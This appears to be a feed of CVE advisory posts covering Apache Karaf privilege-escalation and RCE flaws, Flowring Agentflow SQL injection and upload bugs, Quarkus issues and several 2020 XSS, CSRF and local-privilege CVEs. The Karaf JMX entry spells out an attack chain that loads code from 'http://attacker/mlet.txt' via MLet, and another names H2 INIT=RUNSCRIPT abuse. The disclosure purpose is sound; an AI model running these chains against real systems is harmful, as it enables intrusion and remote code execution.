🚨 CVE-2026-91012
org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties),
which backs the "config" MBean and the config:* shell commands, derives the file
it writes a configuration to from caller-supplied input without checking that
the result stays inside ${karaf.etc}:

* if the submitted property map contains a felix.fileinstall.filename entry, that value is turned directly into a File (getCfgFileFromProperty), so it can point to any absolute path the Karaf process can write to;
* otherwise the configuration PID is concatenated verbatim into the target file name (generateConfigFilename(): new File(karaf.etc, pid + ".cfg")), so a PID containing ".." segments resolves outside ${karaf.etc}. createFactoryConfiguration() has the same issue via the factory PID/alias.


Both code paths are reachable by any caller holding the "manager" role under Karaf's shipped command/JMX ACL (org.apache.karaf.command.acl.conf.cfg: "update = manager"). Such a user can therefore write attacker-controlled content to any file the Karaf process can write, including files the same ACL otherwise reserves to "admin" (etc/users.properties, etc/*.acl.*.cfg, etc/org.apache.karaf.management.cfg, and similar), allowing a manager-role user to grant themselves the admin role or otherwise take over the container.






ConfigMBeanImpl.install() and the config:install shell command already guarded the equivalent risk on their own code path with a finalname.contains("..") string check, but that check does not stop absolute paths or symlink-based escapes, and it was never applied to ConfigRepositoryImpl.update() / createFactoryConfiguration() at all.

🎖@cveNotify

🚨 CVE-2026-91048
The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration".


The same applies to jms:* shell commands.

🎖@cveNotify

🚨 CVE-2026-91085
Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user.


The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role.




config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL.




Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart.




By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier.

MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default.

🎖@cveNotify

🚨 CVE-2026-92142
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:


  private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));




The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.




As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).




This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:

* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.


The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:




createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin




Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.

🎖@cveNotify

🚨 CVE-2026-96428
SQL Injection in the /WebAgenda/SMBAjaxAutoComplete.do API endpoint of Flowring Agentflow 4.0 version before 2025/08/08 allows remote attackers to execute arbitrary SQL commands via the words parameter.

🎖@cveNotify

🚨 CVE-2026-96429
SQL Injection in the /WebAgenda/SMBAjaxConfigProcess.do API
endpoint of Flowring Agentflow 4.0 version before 2025/08/08 allows
remote attackers to execute arbitrary SQL commands via the id parameter.

🎖@cveNotify

🚨 CVE-2026-96430
Exposed Dangerous Method or Function in the
/WebAgenda/SQLWin.do API endpoint of Flowring Agentflow 4.0 version Before 2026/08/28 allows remote
authenticated users to execute arbitrary SQL commands via the sql parameter.

🎖@cveNotify

🚨 CVE-2026-96431
Unrestricted Upload of File with Dangerous Type in the
/WebAgenda/download/uploadFile.jsp API endpoint of Flowring Agentflow 4.0 version
before 2023/03/24 allows remote authenticated users to execute arbitrary
system commands via a malicious file.

🎖@cveNotify

🚨 CVE-2026-96440
Improper Limitation of a Pathname to a Restricted
Directory（Path Traversal） in the /WebAgenda/download/uploadFile.jsp
API endpoint of Flowring Agentflow 4.0 version before 2023/03/24 allows remote
authenticated users to write files to arbitrary locations outside the intended
upload directory via the path parameter.

🎖@cveNotify

🚨 CVE-2023-6393
A flaw was found in the Quarkus Cache Runtime. When request processing utilizes a Uni cached using @CacheResult and the cached Uni reuses the initial "completion" context, the processing switches to the cached Uni instead of the request context. This is a problem if the cached Uni context contains sensitive information, and could allow a malicious user to benefit from a POST request returning the response that is meant for another user, gaining access to sensitive data.

🎖@cveNotify

🚨 CVE-2023-6394
A flaw was found in Quarkus. This issue occurs when receiving a request over websocket with no role-based permission specified on the GraphQL operation, Quarkus processes the request without authentication despite the endpoint being secured. This can allow an attacker to access information and functionality outside of normal granted API permissions.

🎖@cveNotify

🚨 CVE-2020-37232
Advanced System Care Service 13.0.0.157 contains an unquoted service path vulnerability in the AdvancedSystemCareService13 service binary path that allows local attackers to escalate privileges. Attackers can place malicious executables in the system root path that will be executed with LocalSystem privileges during service startup or system reboot.

🎖@cveNotify

🚨 CVE-2020-37233
WordPress Plugin Buddypress 6.2.0 contains a persistent cross-site scripting vulnerability that allows authenticated attackers with moderator privileges to inject malicious script code through the figure parameter in wp:html blocks. Attackers can inject iframe elements with event handlers like onload that execute when administrators or privileged users preview or view the affected page content, enabling session hijacking and persistent phishing attacks.

🎖@cveNotify

🚨 CVE-2020-37234
Internet Download Manager 6.38.12 contains a buffer overflow vulnerability in the Scheduler component that allows local attackers to crash the application by supplying oversized input. Attackers can paste malicious data exceeding 5000 bytes into the 'Open the following file when done' field to trigger a denial of service condition.

🎖@cveNotify

🚨 CVE-2020-37235
WordPress Theme Wibar 1.1.8 contains a stored cross-site scripting vulnerability in the Brand component that allows authenticated users to inject malicious scripts by manipulating the Logo URL parameter. Attackers with editor, administrator, contributor, or author privileges can inject base64-encoded script payloads through the ftc_brand_url input field to execute arbitrary JavaScript when users visit the brand page.

🎖@cveNotify

🚨 CVE-2020-37236
NewsLister contains an authenticated persistent cross-site scripting vulnerability that allows authenticated administrators to inject malicious scripts through the title parameter in the news addition interface. Attackers can inject JavaScript payloads via the title field in the admin panel that execute when news items are viewed by other users.

🎖@cveNotify

🚨 CVE-2020-37237
Composr CMS 10.0.34 contains a persistent cross-site scripting vulnerability that allows authenticated administrators to inject malicious scripts through the banner management interface. Attackers with admin credentials can inject XSS payloads in the Description field of the Add banner functionality, which execute for all website visitors when they access the home page.

🎖@cveNotify

🚨 CVE-2020-37238
CMS Made Simple 2.2.15 contains a stored cross-site scripting vulnerability that allows authenticated users with Content Manager access to inject malicious scripts through SVG file uploads. Attackers can upload SVG files containing embedded JavaScript to the file manager, which executes when other authenticated users access the uploaded file, enabling cookie theft and session hijacking.

🎖@cveNotify

🚨 CVE-2020-37239
libbabl 0.1.62 contains a broken double free detection vulnerability that allows attackers to bypass memory safety checks by exploiting signature overwriting in freed chunks. Attackers can call babl_free() twice on the same pointer without triggering detection, as libc's malloc metadata overwrites babl's signature field upon freeing, enabling potential memory corruption and code execution.

🎖@cveNotify

🚨 CVE-2020-37240
Queue Management System 4.0.0 contains a stored cross-site scripting vulnerability that allows authenticated administrators to inject malicious scripts through user creation fields. Attackers can insert JavaScript payloads in the First Name, Last Name, and Email fields during user creation, which execute when viewing the User List page.

🎖@cveNotify

🚨 CVE-2020-37241
bloofoxCMS 0.5.2.1 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions by tricking logged-in users into visiting malicious pages. Attackers can craft hidden forms targeting the admin user creation endpoint to add new administrative accounts with arbitrary credentials without requiring explicit user consent.

🎖@cveNotify